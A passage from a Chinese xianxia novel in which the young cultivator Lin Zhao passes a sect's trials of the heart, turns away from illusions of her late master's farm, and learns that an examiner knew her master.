林照屏住呼吸,盯着画看。那山……她见过。
在来玄霄镇的路上,她远远望见过玄霄阁的后山。云遮雾绕,只隐约看见轮廓。而画上的这座山,虽然角度不同,细节更丰富,但整体的山势、峰峦的走向、甚至某处突出的危岩,都和记忆中的那座山重合了。
周言画里的山,就是玄霄阁的后山?
可周言不是说,那是一座“不存在”的山吗?
她正疑惑,光芒忽然剧烈波动起来。画上的山形轮廓扭曲、变幻,最后竟化作一行小字,浮现在宣纸空白处:
“山在,云在,屋在。等的人,也在。”
字迹娟秀,不是周言的笔迹。倒像是……女子的字。
林照心头一震。她想起老谷头木匣里那半封信,想起那封信上娟秀的字迹:“长青师兄:见字如面……”
难道这画,和师父有关?
她正要细看,光芒忽然熄灭了。画恢复原状,墨点还是那个墨点,宣纸还是那张宣纸。仿佛刚才的一切只是幻觉。
但林照知道不是。
她把画重新卷好,贴身收好。心脏在胸腔里怦怦直跳。
山在,云在,屋在。等的人,也在。
等的人……是谁?
敲门声打断了她的思绪。
“林姑娘,睡了吗?”是陈砚的声音。
林照下床开门。陈砚站在门外,手里端着一碗热汤,脸上有掩饰不住的兴奋:“我刚打听到一个消息!”
“什么消息?”
陈砚进屋,关上门,压低声音:“明日‘问心路’的考官名单公布了!主考官是玄霄阁的内门长老,鹤松真人!”
林照对这个名字没什么概念,但看陈砚激动的样子,应该是个大人物。
“还有呢?”她问。
“副考官有三位。”陈砚掰着手指,“一位是外门执事赵长老,一位是传功长老吴真人,还有一位……”他顿了顿,眼神变得古怪,“你绝对猜不到是谁。”
“谁?”
“谷长青。”
林照手里的汤碗差点摔在地上。
“你、你说谁?”
“谷长青。”陈砚没注意到她的异常,自顾自说着,“据说是个散修,百年前就在修仙界有些名声,后来隐居了。不知怎么被玄霄阁请来当考官……”
林照的手在抖。
谷长青。师父的名字。
是重名吗?还是……师父说的“曾做过散仙”,是真的?可他明明在晒谷观待了一百年,怎么会……
“林姑娘?”陈砚终于发现她的不对劲,“你怎么了?脸色这么白。”
“没、没事。”林照强迫自己镇定,“只是……这个名字,我好像在哪里听过。”
“正常。”陈砚不疑有他,“谷长青百年前确实有名。听说他当年差点飞升,但不知为什么放弃了。后来就销声匿迹了。没想到玄霄阁能请动他出山。”
林照的心乱成一团。
如果考官真是师父……不,不可能。师父已经去世了,她亲手葬的。可是,万一是师父的故人?或者,师父当年真的有什么她不知道的身份?
她忽然想起老谷头临终前说的话:“我年轻时,也向往过天阙……七十九岁那年,已经摸到了元婴的门槛……”
还有木匣里那半封信,那块“天阙巡守”的玉牌。
也许……师父真的不是普通的散修。
“林姑娘?”陈砚担忧地看着她,“你是不是太紧张了?喝口汤吧,我让伙计熬的安神汤。”
林照接过汤碗,慢慢喝着。热汤下肚,心绪稍平。
“谢谢你,陈公子。”她说。
“客气什么。”陈砚笑道,“明日一早就要出发,你早点休息。我也回去了,最后看看书。”
他走到门口,又回头:“对了,沈不言让我带句话给你。”
林照抬头。
“他说:‘走自己的路,看自己的山。’”陈砚挠挠头,“这话什么意思?”
林照沉默片刻,笑了:“我明白了。谢谢。”
陈砚走后,林照重新坐回床上。
她闭上眼,深呼吸。
不管考官是不是师父的故人,不管画里的山是不是玄霄阁的后山,不管等的人是谁——明日,她都要走上那条路。
走自己的路,看自己的山。
第二日,辰时。
广场上已经人山人海。
三千多名通过初选的修士聚集在此,黑压压的一片,从广场中央一直排到街口。所有人都穿着自己最好的衣服,佩戴着最趁手的法器,脸上有期待,有紧张,有跃跃欲试。
林照穿着那身洗得发白的粗布衣裳,背着包袱,握着斧头,站在人群边缘。她没有往中间挤,只是静静站着,看着。
陈砚在她旁边,今天换了身崭新的青衫,头发梳得一丝不苟。他有些紧张,不停整理衣襟,嘴里念念有词,像是在背什么口诀。
沈不言站在更远的地方,靠着墙,闭目养神。他依然穿着那身洗得发白的蓝布衫,剑挂在腰间,用布条裹着剑鞘,看不出特别。
李慕云带着两个随从,在人群中央谈笑风生。他今天锦衣华服,玉冠束发,腰佩长剑,剑鞘上镶着宝石,在晨光下熠熠生辉。周围围了不少人,都是想攀关系的。
“肃静!”
一声清喝从广场前方传来。
人群瞬间安静下来。所有人都看向前方的高台。台上站着四个人,三男一女。为首的是个鹤发童颜的老者,身着月白道袍,手持拂尘,仙风道骨——应该就是鹤松真人。
林照的目光落在最后一位考官身上。
那是个面容清癯的老人,穿着朴素的灰色道袍,背微微佝偻,眼神平静。他站在台边,并不显眼,但林照一眼就认出来了——
不是老谷头。
虽然年纪相仿,气质也有些相似,但确实不是师父。这个老人的眼神更锐利些,背也没有师父那么佝偻。只是同名同姓罢了。
林照松了口气,却又有些莫名的失落。
“老夫鹤松。”台上的老者开口,声音不大,却清晰地传到每个人耳中,“玄霄阁内门长老,本次试炼主考官。试炼规则,想必诸位都已清楚。老夫只强调三点——”
他扫视台下,目光如电。
“第一,试炼途中,生死自负。受伤、残疾、甚至丧命,玄霄阁概不负责。”
台下响起一阵骚动。
“第二,不得使用禁药、禁符。一经发现,永久取消资格,废去修为。”
骚动更大了。
“第三,”鹤松真人顿了顿,语气忽然变得意味深长,“试炼之路,亦是问道之路。诸位在路上的每一个选择,都在考官眼中。好自为之。”
说完,他拂尘一挥:“出发!”
广场四周,忽然升起数道白光。白光交织,在空中形成一道巨大的光门。门内云雾缭绕,看不清通往何处。
“第一关,‘问心路’。入此门,踏此路。走到尽头者,过关。”
人群开始向前涌动。
李慕云第一个冲进光门,锦衣一闪,消失在云雾中。紧接着,更多的人涌了进去。有人兴奋大叫,有人面色凝重,有人犹豫不决。
陈砚深吸口气,对林照说:“林姑娘,我们……”
“你先走。”林照说,“我随后。”
陈砚点点头,随着人流进了光门。
沈不言也动了。他没有挤,只是随着人流,不紧不慢地走进去。经过林照身边时,他看了她一眼,微微点头。
林照也点点头。
然后,她迈开脚步,走向光门。
脚步很稳,像走在晒谷观的田埂上。
踏进光门的瞬间,眼前一花。
再睁开眼时,已经身处一片浓雾之中。
雾很浓,白茫茫一片,三步之外不见人影。脚下是一条青石板路,蜿蜒向前,隐入雾中。四周寂静无声,连风声都没有。只能听见自己的呼吸声,心跳声。
这就是“问心路”?
林照没有急着往前走。她先闭上眼睛,调动“见云”境的感知,去“看”这片雾。
雾不是死的,是在流动的。像水,像云,有它自己的节奏和方向。她“看”到雾的流动轨迹,看到路的走向,甚至“看”到前方不远处,有个人影在雾中踉跄前行——是陈砚。
她睁开眼,迈步向前。
脚步很轻,落地无声。晒谷步法自然施展,她像一条鱼,在雾的河流中游弋。不需要用眼睛看路,只需要跟着感知走——哪里雾稀薄些,哪里路平坦些,哪里气流顺畅些。
走了约莫一炷香时间,前方传来声音。
是争吵声。
“明明是我先看到的!把灵石还我!”
“放屁!这灵石在路中央,谁捡到就是谁的!”
林照走近,看见雾中有两个人在对峙。都是年轻修士,一个穿黑衣,一个穿蓝衫,中间地上躺着块拳头大小的灵石,散发着微弱的灵光。
“见者有份!一人一半!”蓝衫修士说。
“做梦!”黑衣修士啐了一口,“这灵石够我买一瓶聚气丹了!凭什么分你?”
两人越吵越凶,最后竟动起手来。法术光芒在雾中闪烁,拳脚相加的声音沉闷刺耳。
林照没有停留,绕开他们,继续往前走。
《晒谷心经》里说:“路遇争抢,绕行即可。麦田再大,也容得下所有麦穗。”
又走了一段,前方出现岔路。
两条路,一条宽,一条窄。宽的那条路上,雾似乎稀薄些,能看见远处隐约有光。窄的那条,雾更浓,路也更崎岖。
宽路上已经有不少人在走,争先恐后,生怕落后。窄路上空无一人。
林照在岔路口停住。
她闭上眼,感知两条路。宽路确实好走,但路的尽头……有什么东西让她不舒服。不是危险,是某种“虚假”的感觉。窄路难走,但路的尽头,有种莫名的“真实感”。
她想起老谷头的话:“捷径往往不是最近的路。”
也想起沈不言的话:“走自己的路,看自己的山。”
她睁开眼,走向窄路。
踏入窄路的瞬间,雾更浓了。几乎看不见脚下的路。但林照没有慌,只是放慢脚步,让感知更细致地展开。
她“听”到雾流动的声音,
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“听”到石板缝隙里青苔生长的声音,“听”到远处山泉滴落的声音。这些声音指引着方向,像夜空中最亮的星。
走着走着,雾忽然散了。
眼前豁然开朗。
她站在一片悬崖边。前方是深不见底的深渊,对面是另一座山的峭壁。两山之间,只有三根铁索相连,在风中微微摇晃。
铁索桥。
桥头立着一块石碑,碑上刻着字:“一念桥。一念过,一念留。”
已经有十几个人站在桥头,不敢上前。铁索太细,风太大,深渊太深。有人试着踏上去,刚走两步就腿软退回,脸色惨白。
林照走到桥边,往下看了一眼。
深渊里云雾翻涌,看不见底。风从谷底吹上来,带着刺骨的寒意。铁索在风中发出嘎吱嘎吱的响声,像随时会断裂。
她闭上眼睛,深吸口气。
然后,踏上了第一根铁索。
脚下一沉,铁索剧烈晃动。身后传来惊呼声。
但她没有停。晒谷步法施展开来——不是在平地上走,是在摇晃的索上走。每一步都顺着铁索晃动的节奏,像麦穗在风中摇摆,顺势而为,借力而行。
一步,两步,三步……
她走得很慢,但很稳。铁索在她脚下,像成了晒谷场的田埂,虽然摇晃,但有规律。风吹来,她身体微倾,像麦秆弯而不折。风停,她恢复平衡,继续向前。
走到一半时,变故突生。
前方铁索上,忽然窜出一只黑色的怪鸟,翼展三尺,尖喙如钩,直扑她的面门!
林照心头一紧,但脚下没乱。她侧身避开,同时伸手一抓——不是抓鸟,是抓风。手指顺着风的方向一拨,借力打力,那鸟被她轻轻一带,失去平衡,尖叫着坠入深渊。
身后传来更大的惊呼。
她没有回头,继续走。
终于,踏上了对岸。
脚踏实地的那一刻,她才发现,手心全是汗。
回头望去,铁索还在风中摇晃。对岸那些修士,有的在犹豫,有的在尝试,有的已经放弃了。
她没有等,转身继续往前走。
又走了一炷香时间,前方再次出现岔路。
这次是三条路。
一条路铺满鲜花,香气扑鼻,路旁有亭台楼阁,仙音袅袅。路上已经有不少人在走,个个面露喜色,仿佛到了仙境。
一条路荆棘密布,怪石嶙峋,路上空无一人。
第三条路……很特别。
是一条田埂。
是的,田埂。两边是金黄的麦田,麦浪起伏,沙沙作响。远处有间茅屋,屋前有口井,井边有棵槐树。一切都像极了晒谷观。
林照愣住了。
她走到田埂前,蹲下身,摸了摸土。土很湿润,有蚯蚓翻过的痕迹。麦穗沉甸甸的,麦粒饱满。一切都是真的——至少感觉上是真的。
这是幻境,她知道。玄霄阁的“问心路”,不可能真的有一片麦田。
但为什么……这么像?
她站起身,走上田埂。
脚步踏上泥土的瞬间,一股熟悉的气息扑面而来——是晒谷观的味道。麦香,泥土香,远处炊烟的味道,还有……阿茸的味道。
她眼眶一热。
继续往前走。麦田一望无际,麦浪在风中起伏,沙沙声像母亲的呢喃。远处茅屋的烟囱里,飘出袅袅炊烟。井边似乎有个身影在打水,佝偻着背,像老谷头。
她停下脚步,远远看着。
那个身影转过头来——真的是老谷头。他朝她笑了笑,招招手,好像在说:回来了?
林照的眼泪掉下来。
但她知道,这不是真的。师父已经走了,葬在麦田边。这只是幻境,是试炼的一部分,是要考验她的道心——看她会不会被幻象迷惑,会不会沉溺在虚假的温暖里。
她深吸口气,擦掉眼泪,朝着茅屋的方向,深深鞠了一躬。
然后,转身,离开田埂,走向那条荆棘路。
脚步很坚定。
走出麦田范围时,她最后回头看了一眼。麦田、茅屋、井边的身影,都在渐渐淡去,像晨雾遇见了阳光。
她转回头,走进荆棘丛中。
荆棘很密,刺很尖,划破了她的衣服,在她手臂上留下道道血痕。但她没有停,只是一步步往前走。晒谷步法在这里用不上,她只能硬闯。
但奇怪的是,越往前走,荆棘越稀疏。走到最后,眼前豁然开朗——
她走出了雾。
眼前是一片开阔的广场,广场尽头是一座巍峨的山门,门楣上刻着三个大字:“玄霄阁”。山门两侧,站着两排玄霄阁弟子,神色肃穆。
广场上已经站了百来个人,都是通过“问心路”的修士。李慕云在,锦衣有些凌乱,但神色兴奋。陈砚也在,青衫上沾了不少尘土,但眼睛很亮。沈不言站在角落,衣服干净如初,仿佛只是散了趟步。
林照低头看看自己——粗布衣裳被荆棘划破好几处,手臂上血痕道道,头发散乱,脸上还有泪痕。
很狼狈。
但她不在乎。
她走到广场边缘,找了个角落坐下,从包袱里取出伤药,给自己包扎。
正包扎着,忽然听见周围一阵骚动。
抬头看,山门里走出几个人——是考官们。
鹤松真人走在最前,三位副考官跟在后面。他们走到广场中央,目光扫过通过的考生。
林照的目光,落在那个叫谷长青的老人身上。
老人也在看她。
两人的目光在空中相遇。
老人眼中闪过一丝讶异,然后,是欣慰,是怀念,还有某种说不清的复杂情绪。
他朝她微微点了点头。
林照心头一震。
她忽然明白,这个谷长青,就算不是师父本人,也一定和师父有渊源。那个点头,那个眼神,那种熟悉的感觉……
她站起身,朝老人深深鞠了一躬。
不管他是谁,不管他和师父是什么关系——这一刻,她感谢他。感谢他让她在幻境里,再见了一次晒谷观,再见了一次师父。
哪怕只是幻象。
也足够温暖。
15. 破阵
第一关结束,通过的只有一百三十七人。
三千七百四十二人出发,走到终点的,不到百分之五。这个数字像一盆冰水,浇在广场上每个通过者的头上。先前还沉浸在喜悦中的修士们,此刻都沉默了,脸上的兴奋变成了凝重。
鹤松真人站在广场中央的高台上,手中拿着一份名册。他念出一个个名字,每念一个,就有一道光从山门里飞出,将那被淘汰者传送出去。没有解释,没有安慰,就像秋风吹落黄叶,自然而然。
“王猛,淘汰。”
“赵平,淘汰。”
“柳如眉,淘汰。”
林照听见柳如眉的名字时,心头一紧。那个逃婚出来的红衣姑娘,终究没能走完这条路。她想起茶摊里柳如眉倔强的眼神,想起她说“宁可死在试炼里”。
现在,她真的“死”了——不是肉身,是希望。
名册念到最后,广场上只剩下稀稀落落的一百多人。原本拥挤的空间变得空旷,风吹过时,竟有几分萧瑟。
鹤松真人收起名册,目光扫过众人:“恭喜诸位,通过第一关。但这只是开始。”他顿了顿,“三日后,第二关‘炼心台’。地点:后山‘炼心谷’。时辰:卯时正。”
说完,他转身要走。
“真人!”
一个声音响起。是李慕云。他上前一步,拱手道:“敢问真人,第二关具体规则是什么?也好让弟子们早做准备。”
云鹤真人回头看他,眼神冷淡:“规则?规则就是活着出来。”他不再多言,拂袖而去。
三个副考官也各自离开。谷长青临走前,又看了林照一眼,眼神复杂,但终究什么都没说。
考官走后,广场上的气氛才放松了些。通过的修士们开始互相打量,彼此眼中都有警惕——下一关是竞争,这些现在站在身边的人,三天后可能就是对手。
陈砚走到林照身边,脸色有些苍白:“林姑娘,你怎么样?”
“还好。”林照看了看他,“你呢?”
“差点没过来。”陈砚苦笑,“我在铁索桥上卡了半个时辰,最后还是闭着眼爬过来的。”他顿了顿,“我看见你的幻境了。那片麦田……很美。”
林照一愣:“你看见了?”
“嗯。”陈砚点头,“所有选择荆棘路的人,都能看见选择麦田路的人在经历什么。我看见你站在田埂上,哭了,然后鞠躬,转身离开。”他看着林照,“为什么要离开?那幻境看起来……很温暖。”
林照沉默了一会儿:“因为那不是真的。”
“可如果感觉是真的,不就是真的吗?”陈砚反问,“就像梦,梦里的一切都是假的,但梦里的快乐和痛苦,都是真的。”
这话有道理,但林照摇头:“梦醒了,还是要面对现实。幻境再美,也只是泡影。我师父说过:修仙不是逃进梦里,是更清醒地活在现实里。”
陈砚若有所思。
这时,沈不言也走了过来。他还是那副平静的样子,衣服上一尘不染,仿佛刚才走的不是危机四伏的“问心路”,而是自家后院的小径。
“沈兄!”陈砚打招呼,“你看见林姑娘的幻境了吗?”
沈不言点头:“看见了。”他看着林照,“你做得对。但那片麦田……确实是很好的幻境。”
林照看着他:“沈先生也遇到过幻境?”
“遇到过。”沈不言说,“每个人都会遇到。‘问心路’最厉害的地方,就是它能挖出你心里最深的渴望,然后造一个幻境,让你沉溺。”他顿了顿,“我的幻境里,有一把剑。一把我永远也练不成的剑。”
“然后呢?”
“然后我把它折断了。”沈不言说得很平淡,“我知道我练不成。所以,不要了。”
这话说得轻巧,但林照能感觉到里面的沉重。就像她放弃麦田幻境时一样,不是不想要,是要不起。
三人正说着,一个玄霄阁弟子走过来:“哪位是林照姑娘?”
林照抬头:“我是。”
“鹤松真人有请。”弟子说,“请随我来。”
陈砚和沈不言对视一眼,眼中都有担忧。林照倒是平静,点点头,跟着弟子走了。
鹤松真人在一座偏殿里等她。
殿不大,陈设简单。正中一张紫檀木桌,桌上摆着茶具。鹤松真人坐在桌后,正在沏茶。茶香氤氲,混着殿里淡淡的檀香,有种出尘的宁静。
“坐。”鹤松真人没抬头。
林照在对面坐下。她打量着这位玄霄阁的内门长老——鹤发童颜,眼神清澈,手指修长,沏茶的动作行云流水,有种说不出的韵律感。
茶沏好了。鹤松真人推过一杯:“尝尝。后山自种的云雾茶,别处喝不到。”
林照端起茶杯。茶汤清亮,香气扑鼻。她抿了一口,微苦,回甘,确实好茶。
“知道我为什么叫你来吗?”鹤松真人问。
林照摇头。
“因为你选了最难的路。”鹤松真人看着她,“荆棘路,三千七百四十二人,只有七人选。你是其中之一。”
“最难的路,不一定是错的路。”林照说。
云鹤真人笑了:“说得好。但我要问的是:你为什么选那条路?”
林照沉默。这个问题,她在路上问过自己很多遍。现在要回答别人,反而不知从何说起。
“因为……真实。”她最终说,“麦田路太美,太温暖,但那是假的。鲜花路太顺,太安逸,但那是诱饵。只有荆棘路,虽然难走,但每一步都是真的——刺是真的,痛是真的,走出来的路,也是真的。”
鹤松真人点头:“那你觉得,什么是‘真’?”
这个问题更大了。林照想了很久,想起晒谷观的麦子,想起老谷头的话,想起周言的画,想起沈不言的剑。
“能摸得到,能闻得到,能为之流汗、流泪的,就是真。”她说,“就像种麦子,你要翻土,要撒种,要除草,要收割。每一步都要出力,每一季都要等待。最后长出来的麦子,蒸出来的馒头,吃进嘴里的滋味——那就是真。”
鹤松真人眼中闪过一丝赞许:“你是晒谷观出来的?”
“是。”
“谷长青是你什么人?”
林照心头一震:“是……我师父。”
“果然。”云鹤真人叹息,“也只有他,能教出你这样的弟子。”他喝了口茶,“我与你师父,是旧识。百年前,我们一起游历过。”
林照屏住呼吸。
“他是个怪人。”云鹤真人望向窗外,眼神渺远,“当年我们都追求飞升,追求长生,追求无上大道。只有他说:道在脚下,不在天上。我们都笑他傻,笑他放着通天路不走,偏要留在凡间种地。”
他顿了顿:“后来他真回去了。回到那个小山观,一待就是几十年。我们这些当年笑他的人,有的飞升了,有的坐化了,有的还在苦苦挣扎。只有他……活得最踏实。”
林照眼眶发热。
“你师父临终前,给我来过一封信。”鹤松真人从袖中取出一封信,递给林照,“他说,如果他日有个叫林照的姑娘来玄霄阁,让我看看——看看她选哪条路。”
林照颤抖着手接过信。信封很旧,字迹确实是老谷头的。她打开,里面只有一行字:
“若她选荆棘路,让她走。那是她的道。”
眼泪掉下来,落在信纸上,晕开了墨迹。
鹤松真人看着她哭,没说话。等她情绪平复些,才继续说:“你师父说得对。你有你的道,和玄霄阁的道不一样。我们教的是‘争’,是‘夺’,是‘胜者为王’。你师父教的是‘种’,是‘等’,是‘自然而然’。”
他把茶杯放下:“所以,我要给你一个选择。”
林照抬头。
“你可以继续参加试炼。”鹤松真人说,“以你的心性,过第二关不难。第三关‘争锋擂’,虽然残酷,但也不是没有机会。如果通过,你就是玄霄阁内门弟子,有最好的功法,最好的资源,金丹真人亲自指点——这是无数人梦寐以求的路。”
他顿了顿:“或者,你可以现在退出。我会给你一封推荐信,你可以去任何你想去的地方游历。但从此,你和玄霄阁再无瓜葛。”
林照愣住了。
这个选择来得太突然。一边是通天大道,一边是自由漂泊。一边是师父旧识的照拂,一边是未知的远方。
她闭上眼。
想起晒谷观的麦田,想起破庙的雨夜,想起渔村的鱼汤,想起驿站的眼泪,想起周言的画,想起沈不言的剑,想起荆棘路上每一步的刺痛,想起麦田幻境里师父招手的样子。
然后,她睁开眼。
“我选第三条路。”她说。
云鹤真人挑眉:“第三条?”
“我继续参加试炼。”林照说,“但我不为进玄霄阁,不为得功法资源。我只想看看——看看这条路尽头是什么,看看你们说的‘仙’,到底是什么样子。”
她站起身,朝鹤松真人深深鞠躬:“谢谢真人给我选择。但我师父说过:路要自己走,才能走出自己的脚印。”
鹤松真人看着她,看了很久很久。
然后,他笑了。这次是真心的笑,不是那种高高在上的、淡漠的笑。
“好。”他说,“我果然没看错人。你师父也没看错人。”他挥挥手,“去吧。三日后,炼心谷见。”
林照退出偏殿。
殿外阳光正好。她站在台阶上,看着远处的山峦,看着广场上那些还在交谈、商议、准备的修士们。
她知道,她的选择,意味着接下来会更难。别人是为了进玄霄阁而战,她只是为了“看看”而走。目的不同,心境不同,要走的路,也会不同。
但她不后悔。
就像师父说的:仙不在天上,在你想去的地方。
她现在想去的地方,就是这条路的尽头。不管那里是仙境,是幻境,还是又一个起点。
她走下台阶,回到广场。
陈砚和沈不言还在等她。见她回来,陈砚急忙上前:“林姑娘,没事吧?真人说什么了?”
“没事。”林照说,“只是聊了聊。”
“那就好。”陈砚松了口气,“我和沈兄商量过了,这三天咱们一起准备。我知道炼心谷的一些情况……”
“陈公子。”林照打断他,“谢谢你的好意。但这三天,我想一个人静一静。”
陈砚愣住了:“一个人?可是第二关很危险,多个人多个照应……”
“让她去。”沈不言忽然开口。
陈砚看看沈不言,又看看林照,最终点点头:“那……你小心。”
林照朝两人点点头,转身离开广场。
她没有回陈砚家的铺子,而是往后山走。
玄霄阁的后山很大,连绵数十里,有深谷,有险峰,有
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瀑布,有密林。她沿着一条小路往上走,越走越深,越走越静。
走到一处山崖时,她停下脚步。
这里地势很高,能俯瞰整个玄霄镇。镇子像棋盘,房屋像棋子,街道像棋路。远处广场上的人,已经小得像蚂蚁。
她在一块岩石上坐下,从怀里取出那幅画。
夕阳西下,金色的余晖洒在宣纸上。墨点又开始发光,山形轮廓若隐若现。但这一次,她看得更仔细了——那山,确实是玄霄阁的后山。但不是她现在看到的这样,是……另一个角度的样子。
她从包袱里取出纸笔——是陈砚给她的,说是以备不时之需。她对照着画里的山形,在纸上勾勒起来。
画得很慢,很仔细。每一道山脊,每一处悬崖,每一片树林,都尽量还原。画着画着,她忽然发现:画里的山,有一处地方很特别。
那是一处悬崖,悬崖边有棵松树,松树下有块巨石。巨石上,似乎刻着什么。
她放下笔,望向远山。
在重重山峦中,寻找那个角度。找了一个时辰,终于在西北方向,看见了一处相似的悬崖——悬崖边果然有棵松树,在夕阳下像一把撑开的伞。
她收起纸笔,往那个方向走去。
山路很难走,没有现成的路,只能攀着岩石,抓着藤蔓,一点点往前。衣服又被划破了几处,手上也添了新伤。但她没停,一直走。
走到悬崖边时,天已经快黑了。
松树很大,树干要两人合抱。树皮皲裂,像老人的手。树根盘虬,深深扎进岩缝。树下果然有块巨石,石面平整,上面刻着字。
不是刀刻的,是指刻的——用手指,硬生生在石头上刻出来的。字迹很深,很深,像刻进了石头的心脏。
只有三个字:
“我错了。”
没有落款,没有日期。但林照能感觉到,刻字的人,当时一定很用力,很痛。
她伸手抚摸那些字。指尖触到凹痕的瞬间,一股冰凉的、悲伤的气息顺着指尖传来,让她打了个寒颤。
这气息……有点熟悉。
像老谷头临终前的眼神,像周言说起“不存在之山”时的语气,像沈不言折断幻境之剑时的决绝。
是一种“认了,但不服”的悲伤。
她抬起头,望向悬崖外。
从这里看出去,视野极好。能看见玄霄阁的山门,能看见炼心谷的入口,能看见更远处——云海翻涌,霞光万道,像传说中的仙境。
但林照知道,那不是仙境。至少,不是她想要的仙境。
她想要的,是一片能种麦子的土地,一间能遮风挡雨的屋子,一只会在门口等她回来的羊,一群会叫她“照姐”的孩子。
简单,但真实。
就像晒谷观。
她转身,准备下山。
转身的瞬间,眼角余光瞥见松树根处,有什么东西在反光。她蹲下身,拨开落叶,看见一枚玉佩。
玉佩很旧,边缘有磨损,但玉质温润。正面刻着“天阙”二字,背面是云纹——和老谷头木匣里那块玉牌一模一样,只是小了一号。
她捡起玉佩,握在掌心。
玉很凉,但握久了,会渐渐温热。像有生命,在呼吸。
她忽然明白了。
刻字的人,是师父。或者,是师父的故人。在这里,望着玄霄阁,望着天阙的方向,刻下“我错了”。
错在哪里?
错在当年选了这条路?错在放弃了那条路?错在以为有对的路?
不知道。
但她知道,她现在走的这条路,是她自己选的。对也好,错也好,她都会走完。
就像麦子,种下去了,就要等它长出来。长得好不好,收成多不多,那是天的事。她的责任,只是好好种。
她把玉佩收进怀里,和那枚干枯的麦穗放在一起。
然后下山。
回到玄霄镇时,天已经全黑了。镇上的灯火次第亮起,像地上的星河。
她走在街上,听见两旁客栈里传来喧闹声——有人在喝酒庆祝,有人在商议对策,有人在临阵磨枪。
她没有停留,直接回到铺子。
陈砚和沈不言都在等她。见她回来,陈砚松了口气:“林姑娘,你可算回来了!晚饭还没吃吧?我让伙计热着……”
“不用了。”林照说,“我不饿。想早点休息。”
陈砚看看她,欲言又止,最终点点头:“那你好好休息。明天……”
“明天我想一个人待着。”林照说,“后天试炼,我会准时到。”
陈砚愣了愣,看向沈不言。沈不言点点头,对林照说:“你的路,你自己走。但需要帮忙时,说一声。”
林照看着沈不言,忽然问:“沈先生,你为什么来参加试炼?”
沈不言沉默了一会儿:“为了证明一件事。”
“什么事?”
“证明我手里的剑,不是废铁。”沈不言说,“也证明,我这个人,不是废物。”
他说得很平静,但林照听出了里面的重量。
她点点头,没再问,转身上楼。
回到房间,她没有点灯,只是坐在黑暗中。
窗外,玄霄镇的夜,还很漫长。
但她的心里,很平静。
像晒谷观雨后的麦田,湿润,饱满,安静地等待天明。
等待下一段路。
16. 炼心台(上)
第二关“炼心台”,设在玄霄阁后山的炼心谷中。
谷如其名,形如心脏。四面环山,山壁陡峭如刀削,只在南面留有一道狭窄的入口。谷底平坦,方圆百丈,中央矗立着一座九层石台——那就是炼心台。石台以青灰色岩石砌成,古朴厚重,每一层都刻满复杂的符文,在晨光中泛着淡淡的微光。
林照站在谷口,望着那座石台。
时辰尚早,卯时初刻,天刚蒙蒙亮。谷中雾气未散,白茫茫一片,石台在雾中若隐若现,像海市蜃楼。通过第一关的一百三十七人,此刻都聚集在谷口,无人说话。只有沉重的呼吸声,和山风吹过谷口的呜咽。
鹤松真人和三位副考官站在入口处。谷长青也在,他今天换了身深灰色道袍,背着手,望着谷中的雾气,眼神飘得很远。
“规矩再说一次。”鹤松真人开口,声音在谷中回荡,“入谷,登台。台有九层,登得越高,评价越好。日落之前未登台者,淘汰。登台后支撑不足一炷香者,淘汰。”
他顿了顿,目光扫过众人:“此关考的是毅力、定力、心性。台上设有阵法,会激发你们内心最深处的情绪——恐惧、欲望、执念、悔恨。能守住本心者,方为可造之材。”
人群中响起低低的议论声。
“恐惧我懂,但欲望是什么?”
“执念……每个人都有执念吧?”
“悔恨最可怕,我听说有人被悔恨逼疯过……”
林照安静地听着。她想起老谷头说过:修仙先修心。心若不稳,修为越高,摔得越惨。
“现在,”鹤松真人一挥手,“入谷!”
人群开始向前涌动。
走进炼心谷的瞬间,林照感到一股无形的压力。不是来自阵法,是来自这座谷本身——四面绝壁,头顶一线天光,人在其中,像被困在掌心的蝼蚁。空气里有种说不出的沉闷,连风都吹不进来。
她跟着人群,走向中央的石台。
越靠近石台,压力越大。不是物理上的重压,是精神上的威压。像有无数双眼睛在盯着你,审视你的内心,掂量你的灵魂。
有人开始受不了了。一个年轻修士脸色惨白,停下脚步:“我、我退出……”他转身就往回跑,但跑到谷口时,被一层无形的屏障弹了回来——进了谷,就不能轻易退出。
更多人咬紧牙关,继续向前。
终于,第一个人踏上了石台第一层。
那是一层三尺见方的平台。那人刚踏上去,整个人就僵住了。他脸上表情瞬息万变——先是惊恐,然后是狂喜,接着是痛苦,最后是茫然。他像尊石像,立在台上,一动不动。
台下的人看得心惊胆战。
“他看见了什么?”
“不知道……但肯定不好受。”
陆陆续续,有人登上石台。每个人登台后的反应都不同:有的抱头痛哭,有的仰天大笑,有的喃喃自语,有的呆若木鸡。但无一例外,都像被抽走了魂魄,沉浸在某种不可知的世界里。
李慕云也上去了。他锦衣华服,在人群中很显眼。登台瞬间,他脸上露出极度震惊的表情,随后是狂喜,接着是贪婪,最后又变成恐惧。他浑身颤抖,额头青筋暴起,像是在和什么无形的东西搏斗。
陈砚看了林照一眼:“林姑娘,我……”
“你先去。”林照说,“我等等。”
陈砚深吸口气,踏上台。他反应比较平静,只是眉头紧锁,嘴唇抿成一条线,像是在思考什么难题。
沈不言是最后一个上的。他走得慢,但稳。踏上台时,几乎没什么表情变化,只是眼神更沉了些,像深潭投进一颗石子,涟漪很浅,但确实有。
林照看着台上的人,又看看谷口的考官们。鹤松真人闭目养神,赵执事在记录什么,吴真人盯着台上的人,眼神锐利。谷长青……在看她。
两人的目光在空中交汇。
谷长青朝她微微点头,像在说:该你了。
林照深吸口气,走向石台。
踏上第一层的瞬间,眼前一黑。
再睁开眼时,她愣住了。
眼前不是石台,不是山谷,是晒谷观。
熟悉的麦田,熟悉的瓦房,熟悉的药田,熟悉的井,熟悉的槐树。阿茸在晒谷场上吃草,听见脚步声,抬起头,朝她“咩”了一声,欢快地跑过来,蹭她的手。
厨房里飘出炊烟,是老谷头在熬粥。他推开门,端着碗走出来,看见她,笑了:“回来了?正好,粥熬好了,趁热喝。”
一切真实得可怕。
林照低头看看自己——还是那身粗布衣裳,手里没有斧头,没有包袱,没有号牌。就像她从没离开过,就像过去的一个多月,只是一场漫长的梦。
“发什么呆?”老谷头把粥碗递过来,“今天收了新麦,熬的粥特别香。”
林照接过碗。粥很烫,香气扑鼻,是她最熟悉的味道。她喝了一口,眼泪差点掉下来。
“师父……”她轻声说。
“嗯?”
“我走了多久?”
老谷头奇怪地看她一眼:“说什么胡话?你不是一直在观里吗?早上还去药田除草了呢。”
林照愣住了。
她看看四周。晒谷场上,豆苗在晒麦子,李虎在劈柴,其他孩子各忙各的。一切都和从前一样,和师父去世前一模一样。
难道……真的是梦?
那些暴雨、破庙、渔村、驿站、追杀、逃亡、试炼……都是梦?
她低头喝粥,脑子里乱成一团。
